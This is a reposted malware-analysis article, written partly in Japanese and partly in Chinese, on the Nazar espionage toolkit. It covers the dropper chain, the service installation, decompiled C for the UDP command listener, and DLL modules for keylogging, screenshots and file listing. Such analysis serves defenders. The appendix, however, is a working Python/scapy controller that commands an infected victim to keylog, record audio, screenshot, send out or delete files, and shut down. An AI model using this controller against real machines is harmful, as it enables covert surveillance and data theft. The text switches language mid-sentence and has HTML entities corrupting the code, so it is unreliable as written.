ホームページ  >  記事  >  運用・保守  >  Nazar コンポーネントを詳細に分析する方法

Nazar コンポーネントを詳細に分析する方法

WBOY
WBOY転載
2023-05-12 16:46:06701ブラウズ

2012 年 11 月 7 日午前 6 時 22 分、コンフィッカーはまだターゲットにあります

2012 年 11 月 7 日午前 6 時 18 分、ログをチェック中 - クリーンです

午後 8 時 16 分2012 年 7 月 2 日 - BOOM!、コールバックを取得しました

これらは Equation Group (NSA) がターゲット システム上に残したレコードで、後に Shadow Brokers によって漏洩されました。最近、セキュリティ研究者は、これまで誤認されていた未知の脅威グループ Nazar を明らかにしました。以下では、Nazar コンポーネントの詳細な分析を提供します。

イベントの背景

Shadow Brokers の漏洩データにより、EternalBlue などの多数の脆弱性が脚光を浴びましたが、それらには予防策の一部を示すさらに多くの貴重なコンポーネントも含まれていました。 Equation Group攻撃を開始する前に取得しました。

如何深度分析Nazar 组件

たとえば、流出したファイルには「drv_list.txt」という名前のファイルがあり、ターゲット システム上にある場合は、ドライバ名と対応するコメントのリストが含まれています。ドライバーが見つかると、その情報が攻撃者に送信されます。

如何深度分析Nazar 组件

リストには、悪意のあるドライバーの名前も含まれています。これらの悪意のあるドライバーが見つかった場合は、ターゲット システムが他のユーザーによって侵害されていることを示し、警告が表示されます。攻撃者は「撤退」します。この種の査察を担当する主要なコンポーネントは、「領土紛争」または「TeDi」と呼ばれます。

如何深度分析Nazar 组件

「TeDi」には、ターゲット システムで他の脅威グループに関連付けられたレジストリ キーとファイル名を検索する 45 個のシグネチャが含まれています。セキュリティ スキャンとは異なり、攻撃者の最終的な目標は、自身の操作が中断されないようにすること、および他の攻撃者がツールを検出しないようにすることです。

如何深度分析Nazar 组件

場合によっては、自分自身の操作を阻止しても、「友好的な」脅威グループの操作を妨げず、同じターゲットを同時に攻撃することはありません。 。

如何深度分析Nazar 组件

セキュリティ研究者らは、「TeDi」の 37 番目のシグネチャが、イランの脅威グループ「Nazar」を指す「Godown.dll」という名前のファイルを探していると指摘しました。

如何深度分析Nazar 组件

実行プロセス

Nazar は 2008 年頃に活動的になり、おそらく Nazar ツール プラグインの検出を担当した「TeDi」の 37 番目のシグネチャに関連していると考えられます。ゴーダウン.dll」。

如何深度分析Nazar 组件

#Nazar によって実行される最初のバイナリは gpUpdates.exe です。 「Zip 2 Secure EXE」で作成された自己解凍書庫(SFX)です。実行後、gpUpdates は 3 つのファイル (Data.bin、info、Distribute.exe) をディスクに書き込み、gpUpdates.exe が Distribute.exe を開始します。

Distribute.exe

まず、Distribute.exe は info と Data.bin を読み取ります。 Data.bin は、複数の PE ファイルを含むバイナリ BLOB です。 info ファイルは非常に小さく、Data.bin 内の PE ファイルの長さを表す単純な構造が含まれています。 Distribute.exe は、Data.bin をファイルの長さ順に 1 つずつ読み込みます。次の表は、Data.bin ファイルと情報書き込みの長さの関係を示しています。

如何深度分析Nazar 组件

その後、Distribute.exe は regsv*** を使用して 3 つの DLL ファイルをレジストリに書き込みます。

如何深度分析Nazar 组件

CreateServiceA を使用して、svchost.exe を「EYService」という名前のサービスとして追加し、サービスを開始して終了します。このサービスは攻撃の主要部分であり、Nazar 呼び出しモジュールを調整します。

如何深度分析Nazar 组件

通信分析

サービスを実行したら、まずパケット スニッフィングを設定します。

DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  MgrInitialize(hMgr);
  hCfg = MgrGetFirstAdapterCfg(hMgr);
  do
  {
    if ( !AdpCfgGetAccessibleState(hCfg) )
      break;
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  }
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
  {
    AdpGetConnectStatus(ADP_struct);
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
    {
      if ( stop_and_ping == 1 )
      {
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        connection_method(2);
        stop_and_ping = 0;
      }
      Sleep(1000u);
    }
  }
  return 0;
}

UDP パケットが到着すると、応答があるかどうかに関係なく、その送信元 IP が次の応答で使用するために記録されます。次に、パケットの宛先ポートがチェックされ、それが 1234 であれば、データはコマンド プロセッサに転送されます。

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  ntohs(udp_packet->src_port);
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;
}

データ レスポンス

各レスポンスはデータ パケットを最初から作成します。レスポンスは 3 つのタイプに分けられます:

1. ACK の送信: ターゲット ポート 4000 、ペイロード 101; 0000

2. コンピューター情報の送信: ターゲット ポート 4000、ペイロード 100; <コンピューター名>; <オペレーティング システム名>

3、发送文件:通过UDP发送数据,然后是带有的数据包。如果服务器将标识为0x3456的数据包发送到目标端口1234,恶意软件将使用目标端口0x5634发送响应。

如何深度分析Nazar 组件

支持命令

下表为命令支持列表:

如何深度分析Nazar 组件

Dll分析

Godown.dll

Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。    

Filesystem.dll

Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。

目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:    

C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。    

如何深度分析Nazar 组件    

hodll.dll

hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。    

ViewScreen.dll

该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。     

附录

IOCs

如何深度分析Nazar 组件

Python Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H&#39;,4000))[0]
def get_response(sock, should_loop):
    started = False
    total_payload = b&#39;&#39;
    while(should_loop or not started):
        try:
            payload, client_address = sock.recvfrom(4096)
        except ConnectionResetError:
                payload, client_address = sock.recvfrom(4096)
        
        total_payload += payload
        # Good enough stop condition
        if (len(payload) >= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord(&#39;9&#39;)):
            should_loop = False
        started = True
    hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim&#39;s machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim&#39;s machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
            """
def get_message():
    while True:
        curr_message = input(&#39;> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            print(MENU)
        else:
            return curr_message
def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = '0.0.0.0'
    server = (server_address, SERVER_PORT)
    sock.bind(server)
    return sock     
def main(ip_addr):
    sock = get_sock()
    
    print(MENU)
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        
        curr_message = get_message()
        if not curr_message:
            break
        
        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
        sr1(
            IP(dst=ip_addr, id=ID)/
            UDP(sport=SERVER_PORT,dport=1234)/
            Raw(load=curr_message),
            verbose=0
        )
        command = curr_message[:3]
        if command not in all_commands:
            continue
        should_loop = command in multi_packets
        get_response(sock, should_loop)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    parser.add_argument('ip')
    args = parser.parse_args()
    main(args.ip)

以上がNazar コンポーネントを詳細に分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。